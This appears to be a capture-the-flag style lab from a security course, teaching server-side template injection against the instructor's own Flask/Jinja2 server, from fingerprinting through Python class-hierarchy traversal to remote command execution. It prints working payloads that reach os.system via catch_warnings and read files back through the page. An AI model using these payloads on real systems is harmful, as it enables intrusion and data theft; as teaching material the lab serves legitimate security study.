ED 105: Server Side Template Injection (SSTI) (35 pts extra)

What You Need for This Project

Purpose

To understand Web templates and practice template injection attacks.


Task 1: Connecting to the Target Server

I'm running a vulnerable server at this URL:

http://ssti.samsclass.info:6060/

Flag ED 105.1: Search Page (5 pts)

View my server, as shown below. The flag is covered by a green rectangle.

Troubleshooting

If you are on the CCSF wireless network, it will probably block traffic on port 6060.

Use a different network, or a VPN, or the "DangerZone" network in S37 to get past the firewall.


Task 2: Fingerprinting

Normal Search

In the search page, type this text, as shown below.
 
JOE

Click the SEARCH button. The reply contains the search string JOE, as shown below.

Click the Back button to return to the Search page.

Simple Injection

In the search page, type this text, as shown below.
 
{{2*2}}

Click the SEARCH button. The reply contains a name of 4, as shown below. The expression was executed on the server!

Fingerprinting the Server

Here's a flowchart of injections to try to identify the server-side technology in use, from this page.

The blue boxes contain injection strings to test. If the injection works, follow the green arrow. If the injection fails, follow the red arrow.

Enter the first string into the Search page, as shown below.

 
${7*7}

Click the SEARCH button. The reply repeats the input unchanged, as shown below--the expression was not evaluated on the server.

This was a failure, so we follow the red arrow to the next injection to test.

Enter this string into the Search page:

 
{{7*7}}
Click the SEARCH button. The reply expression was evaluated, returning 49, as shown below.

This was a success, so we follow the green arrow to the next injection to test.

Flag ED 105.2: Search Result (5 pts)

Enter this string into the Search page:
 
{{7*'7'}}
Click the SEARCH button. The result is covered by a green box in the image below. That's the flag.


Task 3: Inheritance in Python 3 (5 pts)

To further exploit this server, we need to navigate the inheritance hierarchy of Python 3. So first, we'll examine it outside the template engine.

Objects, Attributes, and Methods

Open a new Terminal on your Linux or MacOS system and execute these commands:
 
python3
s = 'HELLO'
dir(s)
s.__class__
s.lower
s.lower()
As shown below, these comomands open an interactive Python 3 shell and perform these three actions:

Walking Up the Hierarchy

In the Terminal window on your Google Cloud Debian server, execute these commands:
 
s.__class__
s.__class__.__class__
s.__class__.__base__
As shown below, these comomands walk up the Python hierarchy to 'object' at the top.

Walking Down the Hierarchy

Now we need to walk down the right side of the diagram above, from object through __subclasses__, catch_warnings, and __import__ to reach os.system which allows us to execute arbitrary commands.

Enumerating subclasses

In the Terminal window on your Google Cloud Debian server, execute these commands to import the "os" and "subprocess" libraries and print out all available function classes:
import os
import subprocess
s.__class__.__base__.__subclasses__()
As shown below, you see a long list of available function classes. It goes much further than the screenshot shows.

Execute these commands to save that list of classes in an object named c and use the len() function to count them with these commands.

c = 'HELLO'.__class__.__base__.__subclasses__()
len(c)
As shown below, there were 185 items when I did it.

Listing Function Names

Execute these commands to print out the function names and index numbers:
for i in range(185):
  print( i, c[i].__name__ )
  
This produces a long list of functions, beginning with the items shown below.

Finding the catch_warnings Function

We want to examine a function containing "warning" in its name.

To find it, execute these commands:

for i in range(185):
  n = c[i].__name__
  if n.find('warning') > -1:
    print( i, n )
  
The result is:

80 catch_warnings

as shown below:

Enumarating builtin Methods

Execute these commands to see the builtin methods included in the "catch_warnings" function:
x = c[80]
x()._module
x()._module.__builtins__
This produces another long blob of results, as shown below:

Execute these commands to store the output in a variable named "b", find its length, and find its class.

b = x()._module.__builtins__
len(b)
b.__class__
It's a dictionary with 151 elements, as shown below:

Finding __import__

We want to find the element containing 'import', so execute these commands:
for key in b:
  if key.find('import') > -1:
    print( key, b[key] )
  
The function is __import__ as shown below.

As you might expect, this function allows us to import Python libraries and execute their functions.

Performing Code Execution

Execute this command to demonstrate that we can execute the "date" command using the "os.system" function:
x()._module.__builtins__['__import__']('os').system("date")  
It works, printing out the date, as shown below.

Flag ED 105.3 Key of Z (5 pts)

Execute these commands to see builtin functions containing the letter 'z':
for key in b:
  if key.find('z') > -1:
    print( key )
     
The flag is covered by a green rectangle in the image below.


Task 4: Remote Code Execution via SSTI

Now we can repeat this process using SSTI to gain code execution.

Walking Up the Hierarchy

Enter this into the Search page, as shown below.
 
{{ 'HELLO'.__class__ }}

Click the SEARCH button. The reply is "type 'str'", as shown below.

Enter this into the Search page, as shown below.

 
{{ 'HELLO'.__class__.__base__ }}

Click the SEARCH button. The page just hangs without completing the search. In the browser's toolbar, click the X icon to stop the browser.

What happened? I'm not sure, but this is a very common situation: some of the commands you want don't work on the real server, so you have to find other ways to do things.

The __mro__ attribute ("Method Resolution Order") is another way to get up to the 'object' at the root of the hierarchy, so we'll try that.

Enter this into the Search page, as shown below.

 
{{ 'HELLO'.__class__.__mro__ }}

Click the SEARCH button. The result is a list of three items, as shown below.

We want the third item on the list, which is item #2 since Python starts counting at zero.

Enter this into the Search page, as shown below.

 
{{ 'HELLO'.__class__.__mro__[2] }}

Click the SEARCH button. The reply is "type 'object'", as shown below. We are at the top of the hierarchy!

Walking Down the Hierarchy

Enter this into the Search page, as shown below.
 
{{ 'HELLO'.__class__.__mro__[2].__subclasses__() }}
Click the SEARCH button. The result is a long list of method types, as shown below.

Looping Through the Functions

We can use loops in Jinja2 templates, using {% %} commands.

Enter this into the Search page, as shown below.

 
{% for i in range(10) %}
{{ 'HELLO'.__class__.__mro__[2].__subclasses__()[i] }}
{% endfor %}
Click the SEARCH button. The result shows the first ten method types, as shown below.

Let's print out the number, and the method names rather than types.

Enter this into the Search page, as shown below.

{% for i in range(50) %} 
{{ i }}
{{ 'HELLO'.__class__.__mro__[2].__subclasses__()[i].__name__ }} 
{% endfor %}
Click the SEARCH button. The result shows the first fifty method names, with their index numbers, as shown below.

Notice function #40: file. We'll need that function later to read files.

Finding catch_warnings

Let's add an if command to find 'warnings'.

Enter this into the Search page, as shown below.

{% for i in range(200) %} 
{% set x = 'HELLO'.__class__.__mro__[2].__subclasses__()[i] %} 
{% if "warning" in x.__name__ %}
{{ i }}
{{ x.__name__ }}
{% endif %}
{% endfor %}
The result was

59 catch_warnings

when I did it, as shown below.

Your value will probably be different--replace '59' with the correct value for your system in all the injections below.

Executing 'ls'

Enter this into the Search page, as shown below.
{% set x = 'HELLO'.__class__.__mro__[2].__subclasses__()[59] %} 
{{ x()._module.__builtins__['__import__']('os').system("ls") }}
The result is

0

as shown below. This is the return value of the 'ls' command, indicating that it ran without errors. The output of the command did not come back to us, which is common in web exploitation. We need to find a way to exfiltrate the data.

Flag ED 105.4: Viewing the Output of 'ls' (5 pts)

We need to modify the commands to send the output of 'ls;' into a file and then read that file.

Enter this into the Search page, as shown below.

{% set x = 'HELLO'.__class__.__mro__[2].__subclasses__()[59] %} 
{{ x()._module.__builtins__['__import__']('os').system("ls > /tmp/out") }}
{{ 'HELLO'.__class__.__mro__[2].__subclasses__()[40]('/tmp/out').read() }} 
It works, showing a list of files and directories. The flag is the last item, covered by a green rectangle in the image below.


Flag ED 105.5: /tmp/flag.txt (5 pts)

I'm running a vulnerable server at this URL:

http://ssti.samsclass.info:6060/

Exploit that server and read the contents of this file to find the flag:

/tmp/flag.txt 

Flag ED 105.6: Another flag (10 pts)

There's another file named
flag.txt 
on the same server used in ED 105.5. Find the flag in that file.

References

How To Install and Use Docker on Debian 9
Templates Injections
Cheatsheet - Flask & Jinja2 SSTI
What does "mro()" do?
Template Designer Documentation
Exploring SSTI in Flask/Jinja2 - Part 2
Playing with inheritance in Python
Python's objects and classes -- a visual guide
subprocess -- Work with additional processes
Docs ยป __import__

Posted 10-20-19
Server URL changed 3-1-21
Formatting changes 4-4-23
Setting up your own server removed 4-4-23
Video added 4-5-23